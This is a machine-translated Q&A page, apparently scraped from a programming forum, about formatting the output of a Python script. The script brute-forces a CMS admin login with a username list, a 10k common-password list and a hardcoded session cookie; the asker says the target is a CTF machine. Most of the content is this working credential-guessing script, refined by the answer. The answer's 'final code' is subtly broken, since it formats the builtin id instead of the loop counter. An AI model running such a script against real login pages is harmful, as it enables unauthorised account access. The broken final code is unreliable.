如何整理这些输出?

OmerFI

我使用适用于CTF的Python创建了一个Web-Bruteforce项目我跑了

我的项目输出

如您所见,出现了问题。这是不正常的。我该如何订购?这些是我的代码:

try:
    try:
        import requests
    except:
        print("You have to install \"requests\" via pip")
 
    header={"Cookie":"CMSSESSIDd6a5f2400115=uvtv1n19gois72a76vn4flje7u"}
    username = open("username.txt","r")
    username_content = username.read()
    username.close()
 
    password = open("common10k.txt","r")
    password_content = password.read()
    password.close()
 
    id=0
 
    print("=====================================================================")
    print("ID       Username          Password          Status_Code       Length")
    print("=====================================================================")
 
    for u in username_content.splitlines():
        for p in password_content.splitlines():
            url = "http://10.10.255.177/simple/admin/login.php"
            data = {"username":f"{u}","password":f"{p}","submit":"Submit"}
            sonuc = requests.post(url=url,data=data,headers=header)
            id+=1
            print(f"{id}        {u}             {p}            {sonuc.status_code}             {len(sonuc.content)}")
 
except KeyboardInterrupt:
    print("Exiting...")

(这些IP地址等用于CTF)

阿兹罗

您可以指定格式的大小,内容将用空格填充

# header
print(f"{'ID':5s}{'Username':15s}{'Password':15s}{'Status_code':12s}{'Length':8s}")

count = 0

for u in username_content.splitlines():
    for p in password_content.splitlines():
        url = "http://10.10.255.177/simple/admin/login.php"
        data = {"username": f"{u}", "password": f"{p}", "submit": "Submit"}
        sonuc = requests.post(url=url, data=data, headers=header)
        count += 1
        print(f"{count:<5d}{u:15s}{p:15s}{sonuc.status_code:<12d}{len(sonuc.content):<8d}")

更多

  • 不要使用id内置关键字

  • 使用读取文件with,您无需考虑将其关闭,因此

    with open("username.txt", "r") as username:
          username_content = username.read()
    
  • 或与阅读 pathlib

    from pathlib import Path
    username_content = Path("username.txt").read_text()
    
  • 你可以itertools.product用一个for-loop

    for u, p in product(username_content.splitlines(), password_content.splitlines()):
    
  • 使用enumerate来获取count自动生成的,

    for idx, (u, p) in enumerate(product(username_content.splitlines(), password_content.splitlines())):
    

最终代码

try:
    try:
        import requests
        from pathlib import Path
        from itertools import product
    except:
        print("You have to install \"requests\" via pip")

    url = "http://10.10.255.177/simple/admin/login.php"
    header = {"Cookie": "CMSSESSIDd6a5f2400115=uvtv1n19gois72a76vn4flje7u"}
    username_content = Path("username.txt").read_text().splitlines()
    password_content = Path("common10k.txt").read_text().splitlines()

    print("=" * 70)
    print(f"{'ID':5s}{'Username':15s}{'Password':15s}{'Status_code':12s}{'Length':8s}")
    print("=" * 70)

    for idx, (u, p) in enumerate(product(username_content, password_content)):
        data = {"username": f"{u}", "password": f"{p}", "submit": "Submit"}
        sonuc = requests.post(url=url, data=data, headers=header)
        print(f"{id:<5d}{u:15s}{p:15s}{sonuc.status_code:<12d}{len(sonuc.content):<8d}")

except KeyboardInterrupt:
    print("Exiting...")

本文收集自互联网,转载请注明来源。

如有侵权,请联系[email protected] 删除。

编辑于
0

我来说两句

0条评论
登录后参与评论

相关文章

来自分类Dev

我如何在R中整理这些数据

来自分类Dev

我如何在R中整理这些数据

来自分类Dev

如何在输出中删除这些括号?

来自分类Dev

整理发布的输出

来自分类Dev

整理发布的输出

来自分类Dev

如何在 C++ 中输出这些符号

来自分类Dev

如何从我的输出中删除这些额外的箭头?

来自分类Dev

如何整理IntPtr?

来自分类Dev

如何批量整理文件?

来自分类Dev

如何批量整理文件?

来自分类Dev

如何整理字典列表?

来自分类Dev

如何整理xml

来自分类Dev

如何快速整理RLMResults?

来自分类Dev

如何整理字符栏?

来自分类Dev

如何解释“ lsusb”的输出-这些Linux Foundation根集线器是什么?

来自分类Dev

如何解释“ lsusb”的输出-这些Linux Foundation根集线器是什么?

来自分类Dev

如何找到包含特定类型x文件的文件夹并在OSX上输出这些路径

来自分类Dev

搜索文件时如何输出1-30以及这些数字出现多少次

来自分类Dev

如何将这些输出的坐标转换为标准外观的坐标?

来自分类Dev

编译器如何读取这些表达式?为什么我得到这些输出(所有变量都初始化为1)?

来自分类Dev

这些SQL语句的输出是否相等?

来自分类Dev

为什么这些命令产生不同的输出?

来自分类Dev

如何添加这些JSONS

来自分类Dev

如何组织这些数据?

来自分类Dev

如何打印这些字符?

来自分类Dev

这些线程如何工作?

来自分类Dev

如何简化这些循环?

来自分类Dev

如何使这些简单美观?

来自分类Dev

如何结合这些功能